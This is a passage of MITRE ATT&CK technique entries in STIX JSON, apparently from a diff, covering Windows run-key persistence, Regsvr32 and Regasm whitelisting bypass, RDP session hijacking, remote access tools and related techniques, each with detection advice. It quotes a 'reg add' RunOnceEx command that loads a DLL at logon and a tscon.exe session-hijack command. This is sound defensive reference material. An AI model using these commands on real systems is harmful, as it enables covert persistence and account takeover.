Folder", + "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "HKEY_LOCAL_MACHINE keys require administrator access to create and modify" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "created": "2017-05-31T21:30:49.988Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1060", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1060" + }, + { + "source_name": "capec", + "external_id": "CAPEC-270", + "url": "https://capec.mitre.org/data/definitions/270.html" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa376977" + }, + { + "source_name": "Microsoft RunOnceEx APR 2018", + "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.", + "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key" + }, + { + "source_name": "Oddvar Moe RunOnceEx Mar 2018", + "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", + "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/" + }, + { + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "source_name": "TechNet Autoruns", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-06-20T18:40:10.437Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Regsvcs/Regasm", + "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "x_mitre_remote_support": false, + "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "modified": "2019-07-31T19:26:35.927Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Casey Smith" + ], + "created": "2017-05-31T21:31:33.499Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1121", + "url": "https://attack.mitre.org/techniques/T1121" + }, + { + "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", + "source_name": "MSDN Regsvcs", + "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx" + }, + { + "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", + "source_name": "MSDN Regasm", + "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" + }, + { + "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regsvcs", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/" + }, + { + "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regasm", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Regsvr32", + "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", + "x_mitre_remote_support": false, + "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "modified": "2019-07-31T19:31:54.893Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Casey Smith" + ], + "created": "2017-05-31T21:31:26.966Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1117", + "url": "https://attack.mitre.org/techniques/T1117" + }, + { + "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", + "source_name": "Microsoft Regsvr32", + "url": "https://support.microsoft.com/en-us/kb/249873" + }, + { + "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regsvr32", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/" + }, + { + "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", + "source_name": "Carbon Black Squiblydoo Apr 2016", + "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/" + }, + { + "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", + "source_name": "FireEye Regsvr32 Targeting Mongolian Gov", + "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Network intrusion detection system", + "Network protocol analysis", + "Process use of network", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Remote Access Tools", + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", + "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1172) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1219", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1219" + }, + { + "source_name": "Symantec Living off the Land", + "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.", + "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf" + }, + { + "source_name": "CrowdStrike 2015 Global Threat Report", + "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf" + }, + { + "source_name": "CrySyS Blog TeamSpy", + "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.", + "url": "https://blog.crysys.hu/2013/03/teamspy/" + } + ], + "modified": "2019-07-18T17:42:08.766Z" + }, + { + "x_mitre_permissions_required": [ + "Remote Desktop Users", + "User" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "name": "Remote Desktop Protocol", + "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", + "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "RDP service enabled, account in the Remote Desktop Users group." + ], + "type": "attack-pattern", + "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "created": "2017-05-31T21:30:59.769Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1076", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1076" + }, + { + "source_name": "capec", + "external_id": "CAPEC-555", + "url": "https://capec.mitre.org/data/definitions/555.html" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "source_name": "Alperovitch Malware", + "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.", + "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" + }, + { + "source_name": "RDP Hijacking Korznikov", + "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.", + "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" + }, + { + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6" + }, + { + "source_name": "Kali Redsnarf", + "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.", + "url": "https://github.com/nccgroup/redsnarf" + } + ], + "modified": "2019-07-18T17:46:11.999Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Process use of network", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Remote File Copy", + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).", + "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:31:16.408Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1105", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1105" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T17:47:57.120Z" + }, + { + "x_mitre_data_sources": [ + "Authentication logs" + ], + "type": "attack-pattern", + "name": "Remote Services", + "description": "An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.", + "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Active remote service accepting connections and valid credentials" + ], + "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:29.858Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1021", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021" + }, + { + "source_name": "capec", + "external_id": "CAPEC-555", + "url": "https://capec.mitre.org/data/definitions/555.html" + } + ], + "modified": "2019-07-18T17:50:43.700Z" + }, + { + "x_mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Remote System Discovery", + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems. \n\n### Windows\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039). The contents of the C:\\Windows\\System32\\Drivers\\etc\\hosts file can be viewed to gain insight into the existing hostname to IP mappings on the system.\n\n### Mac\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system.\n\n### Linux\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system.\n\n### Cloud\n\nIn cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services.\n", + "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "GCP", + "Azure", + "AWS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian", + "RedHuntLabs (@redhuntlabs)" + ], + "created": "2017-05-31T21:30:28.187Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1018" + }, + { + "source_name": "capec", + "external_id": "CAPEC-292", + "url": "https://capec.mitre.org/data/definitions/292.html" + } + ], + "modified": "2019-10-08T20:36:57.696Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Replication Through Removable Media", + "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", + "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:08.977Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1091", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1091" + } + ], + "modified": "2019-07-18T17:52:28.429Z" + }, + { + "x_mitre_data_sources": [ + "Azure activity logs", + "Stackdriver logs", + "AWS CloudTrail logs", + "Process use of network", + "Process monitoring", + "Network protocol analysis", + "Network device logs" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Resource Hijacking", + "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.", + "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T14:50:05.682Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "external_id": "T1496", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "CloudSploit - Unused AWS Regions", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc" + } + ], + "modified": "2019-10-10T18:40:46.985Z" + }, + { + "x_mitre_permissions_required": [ + "User", + 